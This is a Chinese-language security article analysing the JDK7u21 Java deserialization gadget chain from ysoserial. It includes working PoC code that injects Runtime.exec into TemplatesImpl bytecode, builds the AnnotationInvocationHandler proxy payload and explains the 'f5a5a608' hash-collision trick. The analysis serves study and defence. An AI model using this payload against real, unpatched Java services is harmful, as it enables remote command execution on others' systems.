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TLDR

在上一次研究ApacheCommonsCollections的时候,由于本地的JRE环境是1.8,导致无法复现网上各位大佬提供的payload,但是在查找资料的过程中发现了ysoserial[https://github.com/frohoff/ysoserial] 这个项目,简单的讲就是一个Java反序列化漏洞的利用框架,其中集成了很多针对不同框架的payload。在使用这个框架的过程中,发现了一个JDK7u21的payload,利用的是JDK本身的漏洞,但是如名称所言,这个只在JDK7u21及以前的版本中生效,在经过了多天的调试分析后,发现这个漏洞利用流程非常巧妙复杂,有很多值得学习的地方,漏洞作者也写出了一份writeup放在了gist [https://gist.github.com/frohoff/24af7913611f8406eaf3] 上。

这个漏洞看起来十分简单,但是实际调试起来却非常困难。调了好几天才彻底搞明白,一部分原因也是因为不熟悉Java的某些特性造成的,所以想要学习到东西还是要亲手尝试一下,只是拜读其他大佬的文章并没有什么用,而且总结成文也是再次加深了对漏洞的理解,毕竟想要给大家讲明白就需要自己先搞明白。

纸上得来终觉浅,绝知此事要躬行。

2

动态生成Java代码

在着手分析之前,我们先来学习一下前置技能。在这个PoC中,作者通过javassist动态生成了恶意的gadgets,用来触发命令执行。

public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {     // 利用TemplatesImpl类来触发恶意的bytescode     final TemplatesImpl templates = new TemplatesImpl();      // 获取容器ClassPool,注入classpath     ClassPool pool = ClassPool.getDefault();     System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class));     pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));      // 获取已经编译好的类     System.out.println("ClassName: " + StubTransletPayload.class.getName());     final CtClass clazz = pool.get(StubTransletPayload.class.getName());      // 在静态的的构造方法中插入payload     clazz.makeClassInitializer()             .insertAfter("java.lang.Runtime.getRuntime().exec(""                     + command.replaceAll(""", "\"")                     + "");");      // 给payload类设置一个名称     // unique name to allow repeated execution (watch out for PermGen exhaustion)     clazz.setName("ysoserial.Pwner" + System.nanoTime());      // 获取该类的字节码     final byte[] classBytes = clazz.toBytecode();      // inject class bytes into instance     Reflections.setFieldValue(         templates,         "_bytecodes",         new byte[][] {                 classBytes,                 ClassFiles.classAsBytes(Foo.class)         });      // required to make TemplatesImpl happy     Reflections.setFieldValue(templates, "_name", "Pwnr");     Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());      // 只要触发这个方法就能执行我们注入的bytecodes     // templates.getOutputProperties();     return templates;}

相关说明在注释中已经给出了,通过精心构造一个TemplatesImpl对象,并且想办法触发该对象的getOutputPropertites()方法,就能执行我们构造的命令。

3

动态代理

Java中的动态代理十分灵活,只需要为一组接口指定好InvocationHandler对象,那么调用接口方法的时候,将会被转派到handler对象的invoke方法,在这个方法中可以通过反射执行原方法,也可以做一些其他的操作。

所有的Handler类都需要实现InvocationHandler这个接口,当我们通过代理对象调用某个方法的时候,这次调用就会被转派到Handler的invoke方法,该函数签名如下:

Object invoke(Object proxy, Method method, Object[] args) throws Throwable
  • proxy: 是被代理的真实对象
  • method: 要调用的真实对象方法的Method对象
  • args: 调用真实对象方法时的参数

当创建好InvocationHandler对象后,就可以通过Proxy.newProxyInstance方法来创建动态代理,该方法签名如下:

public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces,  InvocationHandler h)  throws IllegalArgumentException
  • loader: 定义由哪个ClassLoader对象来对生成的代理对象进行加载
  • interfaces: Interface对象的数组,表示将要给需要代理的对象提供的一组什么接口
  • h: InvocationHandler对象,表示当目前这个动态代理对象在调用方法的时候,应当关联到哪一个InvocationHandler对象上

来看一个动态代理的例子:

// 需要实现的接口interface ISubject {     public void hello(String str);}// 实际的需要被代理的对象class SubjectImpl implements ISubject {     public void hello(String str) {         System.out.println("SubjectImpl.hello(): " + str);     }}// Handler对象class Handler implements InvocationHandler {     private Object subject;     public Handler(Object subject) {         this.subject = subject;     }      public Object invoke(Object object, Method method, Object[] args) throws Throwable {         System.out.println("before!");         method.invoke(this.subject, args);         System.out.println("after!");         return null;     }}public class DynamicProxy {     public static void main(String[] args) {         SubjectImpl subject = new SubjectImpl();         InvocationHandler tempHandler = new Handler(subject);                  // 创建代理         ISubject iSubject = (ISubject) Proxy.newProxyInstance(ISubject.class.getClassLoader(), new Class<?>[] {ISubject.class}, tempHandler);         iSubject.hello("world!");     }}

当代理创建完成后,我们调用iSubject.hello方法时,会被分配到invoke方法执行;输出如下:

before! SubjectImpl.hello(): world! after!

4

漏洞分析

说了这么多,我们再来一起分析一下这个漏洞,这个PoC是在ysoserial中的payload基础上修改而来的,可能会比较易懂,先贴上PoC的主要部分:

public Object getObject(final String command) throws Exception {      

     // 生成恶意的templates,想办法触发templates.getOutputProperties();方法     
     Object templates = Gadgets.createTemplatesImpl(command);      
     String zeroHashCodeStr = "f5a5a608";      
     // 创建一个新的HashMap     
     
     HashMap map = new HashMap();     
     map.put(zeroHashCodeStr, "foo");      

     // 创建代理使用的handler,AnnotationInvocationHandler作为动态代理的handler     
     // 代理创建完成后,所有调用被代理对象的方法都会调用AnnotationInvocationHandler的invoke方法     
     Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];     
     ctor.setAccessible(true);     
     InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
      // 创建代理
      // 后续所有调用Templates接口的方法会全部转派到tempHandler.invoke方法
      Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);      
      Reflections.setFieldValue(templates, "_auxClasses", null);     
      Reflections.setFieldValue(templates, "_class", null);      
      LinkedHashSet set = new LinkedHashSet(); // maintain order     
      set.add(templates);     // 存储了恶意java字节码数据的TemplatesImpl类对象     
      set.add(proxy);         // 代理了Templates接口的对象
            
      map.put(zeroHashCodeStr, templates); 
               
      // set中存储了最终的payload,只需要反序列化这个就可以触发了     
      return set;}

大部分代码上都写了一些注释,整体应该能看懂,接下来就仔细分析一下到底是如何触发命令执行的了。

其实HashSet本质上就是一个HashMap<key, new Object()>,key是我们存进去的数据,而value就是静态的Object对象。

当LinkedHashSet被反序列的时候,会调用其父类HashSet的readObject方法。

根据这一部分的逻辑,可以看出来在反序列化的时候,会依次将templates和proxy加入到map中,继续跟进put方法:

有一处很关键的比较,就是图中打了断点的475行,这里我们需要继续触发key.equals(k)方法,前面的判等我们暂且不谈,先继续向下跟进。由于我们代理了templates接口,当调用到templates.equals()的时候,自然会调用到handler的invoke方法,这里也就是会调用proxy.equals(templates)方法。

继续跟进equalsImpl方法,会发现这个方法会依次调用Templates的每一个方法,(如果不太理解的话可以在这里下断单步跟一下),所以会调用到我们前面提到的Templates.getOutputProperties()方法,进而造成命令执行。

到这里整个流程已经走通了,整体的调用链也就像这样,引用一下漏洞作者的图:

简化一下就是下面这样子:

LinkedHashSet.readObject()
     HashSet.readObject()
       HashMap.put()
        templates.equals()    
           AnnotationInvocationHandler.invoke()
           AnnotationInvocationHandler.equalsImpl()
             Method.invoke()                    
             TemplatesImpl.getOutputProperties()

至于为什么调用TemplatesImpl.getOutputProperties()就能执行命令,各位同学可以自行跟一下,漏洞作者也给出了调用链,并不是很难理解,这里就不再展开说明了。

5

绕过hash

刚刚我们提到了一个很重要的判断,想要利用equals方法必须绕过前面的hash判等。

e.hash == hash && ((k = e.key) == key || key.equals(k))

为了调用到最后的key.equals方法,根据逻辑短路原理(如果不知道啥是短路原理请自行google),必须让e.hash == hash为true,并且(k = e.key) == key为false。

当执行到put(proxy)的时候,map里实际上已经有第一个templates,这里的hash就是proxy.hashCode,e.hash就是templates.hashCode,也就是需要达成proxy.hashCode() == templates.hashCode()这个条件。

templates.hashCode()比较好说,这个类没有重写,调用的是默认的hashCode方法。当调用proxy.hashCode()的时候,则会跳到AnnotationInvocationHandler.invoke()方法,再来看一下这个方法是如何处理hashCode()方法的。

在48行调用了this.hashCodeImpl()方法,继续跟进后发现该方法会从memberValues中进行遍历,并且依次计算key.hashCode(),而这个memberValues是我们在初始化AnnotationInvocationHandler的时候传入的:

// 创建一个新的HashMapHashMap map = new HashMap();map.put(zeroHashCodeStr, "foo");    // 没有这行也OK// 创建代理使用的handler,AnnotationInvocationHandler作为动态代理的handler// 代理创建完成后,所有调用被代理对象的方法都会调用AnnotationInvocationHandler的invoke方法Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];ctor.setAccessible(true);InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);...map.put(zeroHashCodeStr, templates);

这个map的key就是我们设置的特殊字符串『f5a5a608』,而这个字符串的hashCode是0,可以说是非常有意思了。而整个看起来很长的循环,实际上也就变成了

var1 += 127 * (0 ^ entry.getValue().hashCode())

那这个value是啥呢?就是我们构造的templates。整个hash计算就变成了templates.hashCode(),所以proxy.hashCode() == templates.hashCode()也就成立了,如果不理解的话还是建议各位同学手动调试一下。

第二个条件e.key == key是很明显的不同的,一个是templates,另一个是proxy,所以这个条件是false,最终会调用到equals方法。

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总结&参考

至此整个漏洞已经分析完了,后续Java的修复方案我们放在分析JDK8u20的时候一并来讲。这个漏洞利用了Java的许多机制,调试完了感觉思路扩宽了许多,还是要继续学习。完整的PoC我会放在GitHub [https://github.com/lightless233/Java-Unserialization-Study] 上。

该文章出自:安全脉搏